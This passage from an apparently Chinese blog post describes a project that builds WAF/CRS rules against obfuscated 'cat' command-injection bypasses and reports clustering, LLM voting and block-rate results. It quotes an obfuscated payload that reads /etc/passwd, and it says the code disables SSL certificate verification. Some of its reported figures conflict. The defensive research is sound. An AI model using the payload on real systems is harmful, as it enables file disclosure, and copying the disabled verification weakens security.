class="line">Pandas（辅助读取训练集，统计簇的大小，统计噪声）</span><br><span class="line">Numpy 1.24.4 (存向量）</span><br><span class="line">Scikit-learn 1.3.2 （算轮廓系数，做消融实验，评估聚类质量）</span><br><span class="line">LLM：GPT-5.5</span><br><span class="line">开发工具：</span><br><span class="line">codex / VS Code</span><br><span class="line">PyInstarller：打包项目为exe</span><br><span class="line">WSL2：提供apache进行modsecurity测试</span><br><span class="line">访问方式：CRSRuleMiner.exe</span><br><span class="line">二：整体项目架构及文件说明：</span><br><span class="line">C:\Users\pc\Desktop\changcheng\</span><br><span class="line">├── app.py #fastapi主程序</span><br><span class="line">├── CRSRuleMiner.spec #pyinstaller打包配置文件</span><br><span class="line">├── GreatWallCup.md</span><br><span class="line">├── PR_4664.md</span><br><span class="line">├── evidence_pack.md</span><br><span class="line">├── static\ #静态前端</span><br><span class="line">│ ├── workbench.css #工作台样式</span><br></pre></td></tr></table></figure></div><h2 id="整体项目架构及文件说明"><a href="#整体项目架构及文件说明" class="headerlink" title="整体项目架构及文件说明"></a>整体项目架构及文件说明</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">│ └── workbench.js #搜索，渲染，导出，溯源显示</span><br><span class="line">├── templates\ #前端样式</span><br><span class="line">│ └── index.html #主页面骨架</span><br><span class="line">├── scripts\ #脚本</span><br><span class="line">│ ├── audit_noise_samples.py #从 206 条噪声中抽 40 条做人工复核，并统计全量噪声的五分类分布</span><br><span class="line">│ ├── build_benign_context_docs.py #生成110条合法文本语境误报集</span><br><span class="line">│ ├── build_benign_mixed.py #生成 5000 条 Apache + Nginx 混合误报压力集</span><br><span class="line">│ ├── build_cat_in_context_probe.py #生成 117 条 cat 命令语境探针集</span><br><span class="line">│ ├── build_custom_crs_conf.py #生成加载 11 条自定义规则的 CRS 配置文件</span><br><span class="line">│ ├── build_custom_only_fp_sample.py #生成 500 条 custom-only 纯误报抽样集</span><br><span class="line">│ ├── build_independent_blind_eval.py #生成 64 条独立盲测集与 80 条跨命令试点</span><br><span class="line">│ ├── build_locked_eval.py #生成 359 条冻结泛化备选集与 5000 条基础误报日志集</span><br><span class="line">│ ├── check_env.py # 检查 Python 依赖和运行环境是否就绪</span><br><span class="line">│ ├── clean_locked_generalization.py # 按语义清洗原始备选集合为裸 payload</span><br><span class="line">│ ├── cluster_training_set.py #三步簇产出结果</span><br><span class="line">│ ├── compare_rule_versions.py # 规则压缩前后消融对比</span><br><span class="line">│ ├── crs_932_blocking_compare.sh # 只加载 932+949 规则，重跑冻结集</span><br><span class="line">│ ├── crs_932_compare.sh # 对比 CRS 基线与本项目补丁的命中差异</span><br><span class="line">│ ├── crs_932_plus_custom_compare.sh # CRS + 自定义规则联合测试</span><br><span class="line">│ ├── custom_only_500_probe.sh # 对 custom-only 纯误报抽样做 WAF 运行时探针</span><br><span class="line">│ ├── custom_only_compare.sh # 只加载自定义规则，单独测误报</span><br><span class="line">│ ├── extract_cluster_patterns.py #从每个簇提取正则骨架</span><br><span class="line">│ ├── freeze_eval_lockin.py</span><br><span class="line">│ ├── generate_variants.py #165→737条自研变种</span><br><span class="line">│ ├── rank_review_candidates.py</span><br><span class="line">│ ├── split_homologous_dataset.py #切分变种集为训练集和同源测试集</span><br><span class="line">│ ├── test_rules.py #离线正则脚本</span><br><span class="line">│ ├── vote_cluster_regex.py #gpt三次投票筛选</span><br><span class="line">│ ├── waf_probe.py # 向本地 WAF/CRS 发送批量请求并统计 blocked/allowed</span><br><span class="line">│ ├── waf_probe_detail.py # 逐行输出每条 payload 的详细拦截结果</span><br><span class="line">│ ├── wsl_inspect_crs_images.sh # 检查 CRS 临时目录中的镜像/引用内容</span><br><span class="line">│ ├── wsl_setup_apache_crs.sh # 在 WSL2 中搭建 Apache + ModSecurity + CRS 环境</span><br><span class="line">│ ├── wsl_test_baseline.sh # 测试基线 CRS 的冻结集表现</span><br><span class="line">│ └── wsl_trust_docker_proxy.sh # 给 Docker 代理证书装信任并重启 Docker</span><br><span class="line">├── dist\ # PyInstaller 打包输出目录</span><br><span class="line">│ ├── CRSRuleMiner.exe # 正式桌面交付产物</span><br><span class="line">│ └── .tmp_tools\workbench_state_cache.json # 工作台运行状态缓存</span><br><span class="line">├── ApacheLog-Dataset\ # Apache 日志数据集</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">├── .tmp_crs\ # 临时克隆的 OWASP CRS 源码，用于 WAF 测试</span><br><span class="line">├── .tmp_tools\ # 外部工具缓存（RegexGenerator、Regexploit 等）</span><br><span class="line">├── .claude\</span><br><span class="line">├── venv\ # Python 虚拟环境，所有第三方依赖安装在此</span><br><span class="line">├── real_samples.txt #原始165条样本集</span><br><span class="line">├── homologous_test.txt #从变种样本集中拿出的100条同源样本集</span><br><span class="line">├── locked_generalization_set.txt #359条备选样本集，冻结</span><br><span class="line">├── locked_generalization_real.txt #149条清洗备选样本集，用于离线测试</span><br><span class="line">├── locked_generalization_attack_real.txt #144条彻底清洗样本集，waf测试</span><br><span class="line">├── benign_logs.txt #误报集：apache5000条真实日志</span><br><span class="line">├── benign_logs_mixed.txt # 误报集：Apache + Nginx 混合日志 5000 条</span><br><span class="line">├── false_positive_logs_public.txt # 误报集：多源公开 HTTP 日志 2037 条</span><br><span class="line">├── false_positive_logs_stress.txt # 误报集：压力版日志 5200 条，含 200 条合法 cat 子串</span><br><span class="line">├── benign_context_docs.txt # 误报集：合法文本语境 110 条，刻意清掉 shell 语法痕迹</span><br><span class="line">├── cat_in_context_probe.txt # 误报集：cat 命令语境探针 117 条，逼近教程命令示例边界</span><br><span class="line">├── cluster_results.json # 聚类结果，含 63 个簇、206 条噪声和摘要统计</span><br><span class="line">├── voting_result.json # LLM 三次采样投票结果，记录每个簇的三次输出与采纳情况</span><br><span class="line">├── rule_compression_ablation.json # 15 条与 11 条规则的压缩消融对比数据</span><br><span class="line">├── crs_932_attack_result.json # REQUEST-932 + 949 only attack-only 结果</span><br><span class="line">├── crs_custom_attack_result.json # CRS + custom attack-only 结果</span><br><span class="line">├── custom_only_attack_result.json # custom-only 攻击样本实测结果</span><br><span class="line">├── custom_only_fp_500_result.json # custom-only 纯误报 500 条抽样实测结果</span><br><span class="line">├── frozen_independent_blind_cat_eval.txt# 冻结一次的公共来源 hold-out 副本，64 条</span><br><span class="line">├── frozen_independent_blind_manifest.json # 公共来源 hold-out 冻结清单与 SHA256</span><br><span class="line">├── frozen_independent_blind_result.json # 公共来源 hold-out 冻结实测结果</span><br><span class="line">├── frozen_homologous_test.txt # 冻结版同源测试集</span><br><span class="line">├── frozen_locked_generalization_real.txt # 冻结版泛化集副本</span><br><span class="line">├── frozen_benign_logs.txt # 冻结版误报集副本</span><br><span class="line">├── frozen_false_positive_logs_public.txt # 冻结版公开误报集副本</span><br><span class="line">├── frozen_false_positive_logs_stress.txt # 冻结版压力误报集副本</span><br><span class="line">├── frozen_rules_final_compact.txt # 冻结版最终规则副本</span><br><span class="line">├── locked_eval_manifest.json # 清洗后评测清单与来源统计</span><br><span class="line">├── locked_generalization_attack_manifest.json # attack-only 冻结集的剔除行和溯源说明</span><br><span class="line">├── evaluation_lockin_manifest.json # 冻结评测锁定清单，含 SHA256 与线数</span><br><span class="line">├── rules.txt # 早期手工基线规则，10 条（对比实验参照）</span><br><span class="line">├── rules_final.txt # 15 条阶段版最终规则（消融实验对照组）</span><br><span class="line">├── rules_final_compact.txt # 当前稳定可复核的紧凑规则集，11 条</span><br><span class="line">├── rules_targeted.txt # 针对特定样本收紧的规则版本，15 条</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">├── candidate_patterns.txt # 每簇候选模式骨架</span><br><span class="line">├── noise_audit_sample.txt # HDBSCAN 噪声抽样复核样本，40 条</span><br><span class="line">├── noise_audit_report.json # 噪声全量 206 条的五分类桶统计报告</span><br><span class="line">├── portability_probe_wget_curl.txt # 跨命令试点集，80 条，验证对 wget/curl 的迁移能力</span><br><span class="line">├── portability_mini_rules.txt # 跨命令试点用的 3 条最小可用规则</span><br><span class="line">├── regexgenerator_best_java.txt # RegexGenerator 输出的最优 Java 正则，1 条</span><br><span class="line">├── regexgenerator_dataset.json # RegexGenerator flagging 数据集</span><br><span class="line">├── regexgenerator_flagging_dataset.json ## RegexGenerator flagging 数据集</span><br><span class="line">├── regexgenerator_flagging_dataset_smallneg.json # 小负样本版 flagging 数据集</span><br><span class="line">├── regexgen_small.json # 小规模 RegexGenerator 结果样本</span><br><span class="line">├── OS-Command-Injection-Unix-Payloads.txt # 公开 Unix 命令注入 payload 集合</span><br><span class="line">├── pentest-book-command-injection.md # 渗透测试命令注入参考笔记</span><br><span class="line">├── portswigger-command-injection-attacker.md # PortSwigger shelling 命令注入资料整理</span><br><span class="line">├── nginx_access_sample.log # Nginx 访问日志样本，37 行</span><br><span class="line">├── nginx_logs_raw.txt # 原始 Nginx 日志，51462 行</span><br><span class="line">├── Apache_2k.log # Apache 访问日志原始样本，2000 行</span><br><span class="line">└── ApacheLog-Dataset/src/data/promjetDec2021.log # 原始 Apache 访问日志，137510 行</span><br><span class="line">项目依赖：</span><br><span class="line">FastAPI 0.124.4/Uvicorn 0.33.0：Web 服务与接口层。</span><br><span class="line">sentence-transformers 3.2.1：SBERT 文本向量化。</span><br><span class="line">transformers 4.46.3：底层模型加载与管理。</span><br><span class="line">torch 2.4.1：推理与张量计算。</span><br><span class="line">hdbscan 0.8.40：密度聚类。</span><br><span class="line">scikit-learn 1.3.2：评估、消融和统计分析。</span><br><span class="line">openai 2.2.0：LLM 投票生成规则。</span><br><span class="line">numpy 1.24.4/pandas 2.0.3：数据处理与汇总。</span><br><span class="line">pyinstaller 6.14.1：桌面版打包。</span><br><span class="line">httpx 0.28.1：OpenAI 兼容接口调用。</span><br><span class="line">4. 配置API密钥</span><br><span class="line">创建 .env 文件，写入：OPENAI_API_KEY=(GPT5.5)</span><br><span class="line">三：主要功能</span><br><span class="line">核心目标</span><br><span class="line">本项目围绕有关cat命令的绕过注入，该项目以真实样本为基准，自动产出检测规则，生成的规则可维护，可</span><br><span class="line">复现，并尽量把规则整理成 CRS 风格SecRule，为后续 PR 集成做准备</span><br><span class="line">2. 功能模块</span><br><span class="line">变种生成—generate_variants.py：从 165 条真实收集的catpayload 生成 737 条自研变种，覆盖 10 种绕过维度</span><br><span class="line">数据切分—split_homologous_dataset.py：从混合池中切出 100 条同源测试集，剩余作为训练集</span><br></pre></td></tr></table></figure></div><h2 id="主要功能与核心代码"><a href="#主要功能与核心代码" class="headerlink" title="主要功能与核心代码"></a>主要功能与核心代码</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">聚类—cluster_training_set.py： Token 化 → SBERT 向量化 → HDBSCAN 聚类，产出 63 个簇 + 206 条噪声</span><br><span class="line">骨架提取—extract_cluster_patterns.py： 从每个簇提取候选正则骨架</span><br><span class="line">规则投票—vote_cluster_regex.py：GPT 单模型三次采样投票，三次一致才进入候选集，得到15条</span><br><span class="line">规则压缩—人工审核 + 消融对比： 从 15 条压缩至 11 条紧凑规则</span><br><span class="line">离线测试—test_rules.py：验证正则规则是否有效，统计命中/漏报/误报</span><br><span class="line">评测集构建—build_*.py：（7 个脚本） 生成合法文本语境集、cat 语境探针、混合日志集、独立盲测集等</span><br><span class="line">噪声审计—audit_noise_samples.py： 对 206</span><br><span class="line">条噪声做五分类（类攻击，元数据，html碎片，文本）统计和人工抽样复核</span><br><span class="line">WAF 运行时—waf_probe.py： 在 WSL2 + Apache + ModSecurity + CRS 中实测拦截率</span><br><span class="line">打包—CRSRuleMiner.spec：PyInstaller 打包成 exe，双击启动桌面工作台</span><br><span class="line">3. 评测体系</span><br><span class="line">同源测试—100 条：验证同分布覆盖能力</span><br><span class="line">冻结泛化（离线）—149：离线正则回归测试</span><br><span class="line">冻结泛化（WAF）—144 条：attack-only 真实 WAF 环境拦截率</span><br><span class="line">独立盲测—64 条：验证对新来源的泛化能力</span><br><span class="line">跨命令试点—80 条：验证对 wget/curl 的迁移能力</span><br><span class="line">合法文本语境—110 条：测纯 prose 文本是否被误杀</span><br><span class="line">cat 语境探针—117 条：测教程命令示例是否被误判</span><br><span class="line">误报压力集—5000+5200+2037 条：真实日志大规模误报测试</span><br><span class="line">custom-only 误报—500 条：剥离 CRS 其他规则后的纯净误报测试</span><br><span class="line">CRS 932 剥离—90/144 vs 129/144：量化自定义规则的净增量</span><br><span class="line">四：核心代码</span><br><span class="line">1. 自研变种（generate_variants.py）</span><br><span class="line">主要作用：</span><br><span class="line">围绕 10 种维度生成变种：变量插入、大小写混淆、完整路径替换、IFS及其变种替代、路径斜杠变种、通配</span><br><span class="line">符变种、引号拆分、变量拼接、二层组合、三层组合。每条原始 payload 随机选取 4-5 种适用规则生成变种，</span><br><span class="line">主要库为：</span><br><span class="line">random打乱顺序，随机选取，re定位cat位置，pathlib读写输入输出文件等...</span><br><span class="line">Seed=20260611。</span><br><span class="line">举例空格变种函数：</span><br><span class="line">应用顺序：</span><br><span class="line">尝试次数：</span><br><span class="line">运行变种脚本，在165条真实数据的基础上生成737条变种数据</span><br><span class="line">2. 聚类（cluster_training_set.py）</span><br><span class="line">主要作用：</span><br><span class="line">聚类函数分为三步：</span><br><span class="line">将训练集中的 payload 按 shell 元字符（特殊符号）切分为 token，用 all-MiniLM-L6-v2 编码为 384</span><br><span class="line">维语义向量，再通过 HDBSCAN 密度聚类自动发现簇，并输出簇结果和噪声列表。</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">主要库为：</span><br><span class="line">re 按 shell 元字符正则分词，sentence-transformers 将 token 序列编码为语义向量，hdbscan 密度聚类，numpy</span><br><span class="line">承载嵌入矩阵，json 输出聚类结果，argparse 解析命令行参数，pathlib 读写文件。</span><br><span class="line">分词正则+Token化：</span><br><span class="line">all-MiniLM-L6-v2 编码Token化的payload为 384 维语义向量：</span><br><span class="line">（解决SSL证书问题：从 Hugging Face</span><br><span class="line">下载模型时，系统要验证SSL证书，但容易验证失败，所以绕过验证，强制信任服务器）</span><br><span class="line">聚类函数：</span><br><span class="line">其中调入两个关键HDBSCAN参数，min_cluster_size=5表示一个簇至少5个成员，min_sample=k（1）</span><br><span class="line">（k值，表示以一个点周围有k个点来判断他是否可以成为中心，k=1这里就会让聚类很敏感，不易把边缘样</span><br><span class="line">本当成噪声处理掉）</span><br><span class="line">聚类结果：</span><br><span class="line">737 样本 → 63 簇 + 206 噪声，噪声率 27.95%，轮廓系数 0.4549，输出cluster_results.json，记录</span><br><span class="line">3. 规则投票（vote_cluster_regex.py）</span><br><span class="line">主要作用：</span><br><span class="line">对每个簇，将簇内 payload 样本发送给 LLM，独立调用 3</span><br><span class="line">次gpt5.5（temperature=0.7），要求每次归纳一条正则表达式。仅当 3</span><br><span class="line">次输出完全一致时，该候选规则才被接受；不一致的簇标记为投票分歧，暂不收录。</span><br><span class="line">主要库为：</span><br><span class="line">openai 调用 GPT 接口生成规则，httpx 自定义 HTTP 客户端（禁用 SSL 验证、支持自定义 base_url），json</span><br><span class="line">读写聚类结果和投票输出，re 清理 LLM 输出中的 markdown 标记，os 读取环境变量中的 API Key，time</span><br><span class="line">指数退避重试，argparse 解析命令行参数。</span><br><span class="line">调用模型以及参数：</span><br><span class="line">My Prompt:：</span><br><span class="line">投票逻辑：</span><br><span class="line">调用+异常重试：</span><br><span class="line">调用 GPT 拿正则，失败了自动重试最多 3</span><br><span class="line">次，每次间隔越来越长（1秒→2秒→4秒），三次全失败就抛异常。</span><br><span class="line">4. WAF 运行时验证（waf_probe.py）</span><br><span class="line">主要作用：</span><br><span class="line">向本地 WSL2 中运行的 Apache + ModSecurity + CRS 发送真实 HTTP 请求，逐条携带攻击</span><br><span class="line">payload，根据返回的 HTTP 状态码判断是否被 WAF 拦截（4xx/5xx 视为拦截，2xx/3xx 视为放行），统计</span><br><span class="line">blocked/allowed 数量</span><br><span class="line">主要库为：</span><br><span class="line">urllib.request 发送 HTTP GET 请求，urllib.parse 将 payload 编码为 URL 查询参数，sys 读取命令行传入的目标</span><br><span class="line">URL 和 payload 文件路径。</span><br><span class="line">请求构造：</span><br><span class="line">拦截判定逻辑：</span><br><span class="line">运行方式：</span><br><span class="line">python waf_probe.py http://127.0.0.1:8080 locked_generalization_attack_real.txt</span><br></pre></td></tr></table></figure></div><h2 id="实验结果与打包"><a href="#实验结果与打包" class="headerlink" title="实验结果与打包"></a>实验结果与打包</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">输出示例：</span><br><span class="line">URL: http://127.0.0.1:8080</span><br><span class="line">Total: 144</span><br><span class="line">Blocked: 129</span><br><span class="line">Allowed: 15</span><br><span class="line">Allowed samples:</span><br><span class="line">- line 26: [200] cat%20/et%5C%0Ac/pa%5C%0Asswd</span><br><span class="line">五：实验结果</span><br><span class="line">1. 聚类阶段</span><br><span class="line">输入样本：737</span><br><span class="line">聚类数：63</span><br><span class="line">噪声点：206</span><br><span class="line">轮廓系数：0.454909</span><br><span class="line">噪声抽审结果：人为观察206 个</span><br><span class="line">噪声里，符号混淆的—153个、像真命令的—40个，html标签—9个、普通文本—4</span><br><span class="line">观察噪声得到结论：206 条噪声里，只有 13 条是真正的废物。所以噪声不能直接扔，值得人工少选</span><br><span class="line">2. 规则投票阶段</span><br><span class="line">模型：gpt-5.5</span><br><span class="line">Temperature：0.7</span><br><span class="line">每簇采样：3 次</span><br><span class="line">处理簇数：63</span><br><span class="line">一致通过簇数：0</span><br><span class="line">一致拒绝簇数：63</span><br><span class="line">也就是说，三次采样投票没有直接产出“完全一致”的簇级规则，后面还是靠人工筛选和压缩落地。</span><br><span class="line">说明！LLM在随机性不同的时候，无法自动的产出稳定的规则！</span><br><span class="line">3. 规则压缩对比</span><br><span class="line">对比 rules_final.txt（15条） 和 rules_final_compact.txt（11条）：</span><br><span class="line">评测集</span><br><span class="line">测什么</span><br><span class="line">15 条</span><br><span class="line">11 条</span><br><span class="line">变化</span><br><span class="line">同源集（100条）</span><br><span class="line">训练分布内的变种</span><br><span class="line">91/100</span><br><span class="line">100/100</span><br><span class="line">从差9个到全过</span><br><span class="line">冻结泛化攻击子集（144条）</span><br><span class="line">真实攻击</span><br><span class="line">139/144</span><br><span class="line">144/144</span><br><span class="line">从差5个到全过</span><br><span class="line">独立盲测（64条）</span><br><span class="line">全新来源</span><br><span class="line">62/64</span><br><span class="line">62/64</span><br><span class="line">无变化</span><br><span class="line">结论：</span><br><span class="line">11 条紧凑规则比 15 条更稳；</span><br><span class="line">4. 冻结一次、只测一次的公共来源 hold-out</span><br><span class="line">公共来源hold-out（64条）和训练链路完全无关，是 6</span><br><span class="line">个新来源的独立样本。冻结后只测一次，也不再回头调参。这组 63/64 是整个项目里最接近独立盲测的证据</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">，说明规则不是靠记住训练数据得分，而是真正学到了绕过家族的通用模式。</span><br><span class="line">来自frozen_independent_blind_result.json) 的结果：</span><br><span class="line">64 条，63 条命中，1 条漏报，命中率 98.44%</span><br><span class="line">漏掉的那条是：</span><br><span class="line">cat%20/et%5C%0Ac/pa%5C%0Asswd</span><br><span class="line">5. 误报与边界测试</span><br><span class="line">纯误报集（一点不能报错）：</span><br><span class="line">benign_context_docs.txt</span><br><span class="line">110</span><br><span class="line">条</span><br><span class="line">纯文字文章文档，</span><br><span class="line">教程、说明书</span><br><span class="line">0</span><br><span class="line">误</span><br><span class="line">报</span><br><span class="line">规则完全不碰纯文字</span><br><span class="line">custom_only_logs_500.txt</span><br><span class="line">500</span><br><span class="line">条</span><br><span class="line">混合日志抽样，只</span><br><span class="line">测结论规则</span><br><span class="line">0</span><br><span class="line">误</span><br><span class="line">报</span><br><span class="line">剥离 CRS 其他规则后的纯净结果</span><br><span class="line">false_positive_logs_stress.txt</span><br><span class="line">5200</span><br><span class="line">条</span><br><span class="line">真实访问日志压力</span><br><span class="line">集</span><br><span class="line">0</span><br><span class="line">误</span><br><span class="line">报</span><br><span class="line">15 条版本曾误拦 200 条，11 条压到</span><br><span class="line">0，体现了压缩效果</span><br><span class="line">边界探针集：</span><br><span class="line">（来源于： man7.org 的 CAT(1) 手册页格式、FreeCodeCamp 的教学风格、GeeksforGeeks 的结构化示例等...）</span><br><span class="line">cat_cat_in_context_probe.txt</span><br><span class="line">117</span><br><span class="line">条</span><br><span class="line">Cat攻击payload</span><br><span class="line">117条拦住了1</span><br><span class="line">15个</span><br><span class="line">15 条版本曾误拦 200 条，11 条压到</span><br><span class="line">0，体现了压缩效果</span><br><span class="line">说明规则对命令模式高度敏感</span><br><span class="line">6. CRS 运行时对比</span><br><span class="line">C:\Users\pc\Desktop\coreruleset\rules\REQUEST-932-APPLICATION-ATTACK-RCE.conf</span><br><span class="line">在 WSL2 的 Apache + ModSecurity + CRS 真实环境中，用 144 条 attack-only 冻结泛化集逐条发送 HTTP</span><br><span class="line">请求，统计 WAF 实际拦截数。</span><br><span class="line">运行口径</span><br><span class="line">文件</span><br><span class="line">命中</span><br><span class="line">含义</span><br><span class="line">仅 REQUEST-932 + REQUEST-949</span><br><span class="line">crs_932_attack_result.json</span><br><span class="line">90/144</span><br><span class="line">只加载 CRS</span><br><span class="line">自带的命令注入规则，过滤 90 条</span><br><span class="line">custom-only</span><br><span class="line">custom_only_attack_result.json</span><br><span class="line">98/144</span><br><span class="line">只加载自定义的 11 条规则，过滤</span><br><span class="line">98 条</span><br><span class="line">CRS + custom</span><br><span class="line">crs_custom_attack_result.json</span><br><span class="line">129/144</span><br><span class="line">两者并行，过滤 129 条</span><br><span class="line">说明：自定义规则确实带来了增量，而且不是只在离线评测里好看</span><br><span class="line">综上6个结论：</span><br><span class="line">聚类阶段能把 737 条样本压成 63 个家族；</span><br><span class="line">投票阶段没有“自动全通”，说明后面人工筛选是必要的；</span><br><span class="line">最终 11 条紧凑规则是当前最稳的版本；</span><br><span class="line">纯误报集里已经做到 0；</span><br><span class="line">真实运行时对 CRS 基线有明显增量。</span><br><span class="line">exe打包以及setup打包</span><br><span class="line">打包工具：PyInstaller 6.14.1把项目压缩为CRSRuleMiner.exe</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Text"><figure 